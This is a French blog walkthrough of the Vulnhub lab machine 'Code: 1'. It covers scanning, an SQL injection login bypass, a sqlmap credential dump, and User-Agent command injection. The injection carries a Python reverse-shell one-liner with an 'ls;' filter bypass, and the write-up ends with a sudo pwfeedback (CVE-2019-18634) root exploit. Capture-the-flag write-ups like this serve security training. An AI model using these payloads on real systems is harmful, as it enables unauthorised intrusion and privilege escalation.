Obtenir le compte de l’administrateur sur la VM Vulnhub Code: 1 Walkthrough

La box linux (Code: 1) fonctionne sur Linux Mint et a permis de pratiquer mes habilités pour trouver des failles de vulnérabilité.

Tout d’abord, j’ai fait l’inventaire des services offerts par cette machine.

nmap -sC -sV -oN 192.168.2.173


# Nmap 7.91 scan initiated Wed Jun 16 18:18:18 2021 as: nmap -sC -sV -oV 192.168.2.173
Nmap scan report for fsociete.web (192.168.2.173)
Host is up (0.88s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 77:7a:4f:9a:7a:1c:97:79:b6:f9:06:0c:bf:a7:69:0c (RSA)
|   256 1c:2a:8e:6f:93:5a:e4:a5:2c:38:aa:6a:6c:c0:0b:88 (ECDSA)
|_  256 bb:5c:1b:d9:c6:26:1d:87:f7:96:56:e5:6e:a5:1f:6e (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The CodieBruh site
3306/tcp open  mysql   MySQL (unauthorized)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 16 18:18:28 2021 -- 1 IP address (1 host up) scanned in 10.57 seconds

À la lecture du rapport de nmap, nous déterminons qu’il y a un service ftp, ssh, apache et mysql accessible via le réseau. Il est impossible de se connecter aux services (À l’exception du service public web). Il n’y a pas beaucoup de pages à examiner (hormis la page principale et images.php). Il n’y a pas d’arguments à la page images.php rendant l’exploitation immédiate difficile.

Poursuivons l’énumération du service web avec l’outil gobuster

gobuster dir -u http://192.168.2.173 -x php,txt,html -t 50 -b 401,403,404,500 –wildcard -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.173/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   401,403,404,500
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
2021/06/16 18:29:20 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 301) [Size: 314] [--> http://192.168.2.173/admin/]
/assets               (Status: 301) [Size: 315] [--> http://192.168.2.173/assets/]
/images.php           (Status: 200) [Size: 5698]                                  
/index.html           (Status: 200) [Size: 10218]                                 
/ip.php               (Status: 200) [Size: 0]                                     
/404.html             (Status: 200) [Size: 1351]                                  
                                                                                  
===============================================================
2021/06/16 18:31:18 Finished
===============================================================

Nous avons maintenant un nouveau URL : http://192.168.2.173/admin

Bien sûr que c’est protégé! et l’essai d’identifiants comme admin/admin ou codie/codie ne donne rien.

Essayons maintenant si le site est vulnérable à une faille de sécurité de type “Injection SQL”

Nous pouvons entrer avec admin’ or ‘1’=’1 et test’ or ‘1’=’1 comme mot de passe. Nous ne pouvons envoyer d’images, car nous avons le message : “You are not an Admin!!!”

Nous pouvons utiliser sqlmap pour extraire les tables de la base de données MYSQL.

Pour se faire, nous utilisons le logiciel burp pour récupérer la requête qui est fait par le navigateur web


POST /admin/login_check.php HTTP/1.1
Host: 192.168.2.173
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Origin: http://192.168.2.173
Connection: close
Referer: http://192.168.2.173/admin/admin.php?message=logout
Upgrade-Insecure-Requests: 1

name=codieburh&pwd=test&login-submit=


Nous enregistrons cette requête dans le fichier test.sql

Nus utilisons sqlmap -r test.sql –dump (nous interrompons quand nous trouvons une base de données “users”

sqlmap -r test.sql –dump -D users

nous retrouvons le mot de passe pour se connecter

admin/wiuweuasndfnmasfwerwereirio

Nous réessayons d’envoyer la photo de notre chien, mais nous avons le même message d’erreur que nous ne sommes pas Admin. En y regardant de plus près, l’url auquel nous sommes redirigés est http://192.168.2.173/admin/dashboard.php?error=Illegal_useragent. Est-ce que ce serait possible d’utiliser un certain User-Agent (entête http)? En regardans dans le code source de la page web près de “Use Admin browser to upload picture”, nous voyons :


<!--Mozilla/5.0 (Windows NT 10.0; Win64; x64) Admin/valid Chrome/88.0.4324.182 Safari/537.36-->

En interceptant et modifiant le User-Agent dans le logiciel Burp, nous réussissons à envoyer la photo de notre animal de compagnie. À quoi bon ? Après aussi une tentative d’incorporer un shellcode dans un fichier png, nous aboutissons à rien!

Essayons de “fuzzer” le User-Agent

après quelques tentatives, nous voyons que le “User-Agent: ls” retourne la liste de fichier dans le répertoire du serveur web!

essayons de créer un code qui se connectera sur notre machine (reverse shell)


User-Agent: python -c 'import socket,subprocess,os,pty; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.2.119",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' 

mais, cela ne fonctionne pas. Le logiciel filtre possiblement les requêtes. Essayons:
User-Agent: ls; python -c 'import socket,subprocess,os,pty; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.2.119",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

Voilà! Le logiciel semble filtrer les requêtes commençant par python… Vous avez maintenant un shell (en supposant que vous écoutiez avec nc -nlvp 2222 sur votre machine.

L’utilisation du logiciel linPEAS ne permet d’augmenter nos privilèges ou d’obtenir le compte de l’administrateur. En fait, l’analyse des programmes suid ne permet pas de trouver de failles de sécurité qui pourrait être exploité. L’analyse des fichiers lisibles par www-data ne permet pas de trouver de mots de passe (à l’exception d’un certain mot de passe pour les backups dans un fichier dans /var/www/.backup_password_for_ftpuser (.ftp.txt). Cela ne mène à rien. L’analyse des services en local avec “nmap localhost” révèle qu’il y a un service cups. La visite du service sur le port 631 à l’adresse /admin ne permet pas d’avoir d’autres indices. De plus, la version du kernel semblait prometteuse quant à la possibilité d’être exploitée, mais c’est une machine 32 bits et je n’ai pas trouvé d’exploit (et je ne voulais pas me lancer dans l’écriture d’un kernel exploit…)

Par contre, sudo -l révèle


Matching Defaults entries for germain on codie:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    pwfeedback

User germain may run the following commands on codie:
    (root) NOPASSWD: /usr/bin/mint-refresh-cache
    (root) NOPASSWD: /usr/lib/linuxmint/mintUpdate/synaptic-workaround.py
    (root) NOPASSWD: /usr/lib/linuxmint/mintUpdate/dpkg_lock_check.sh

Il n’est pas possible d’exploiter quoi que ce soit. Les scripts sont sécuritaires et les permissions correctement appliquées. Qu’est-ce que le paramètre pwfeedback? Après une recherche sur google, nous trouvons qu’il exist un exploit pour certaines versions de sudo quand ce paramètre est utilisé.

Buffer overflow when pwfeedback is set in sudoers

https://www.sudo.ws/alerts/pwfeedback.html

Nous n’obtenons pas d’exploits mais en cherchant sur google “CVE-2019-18634: nous arrivons sur https://github.com/Plazmaz/CVE-2019-18634.git. Il faut copier le contenu du git dans /tmp. En lisant l’exploit, nous avons besoin de socat.

cd /tmp
apt download socat #Faire entrée lorsque demandé pour mot de passe de sudo
tar zxvvf socat.tar.gz
cd socat
tar xvvf data.tar.xz
tar xvvf control.tar.xz
cp usr/bin/socat /tmp

cd CVE-2019-18634/src
./run.sh #modifier l’emplacement de socat dans le fichier run.sh

et nous sommes maintenant administrateur!

Leave a Reply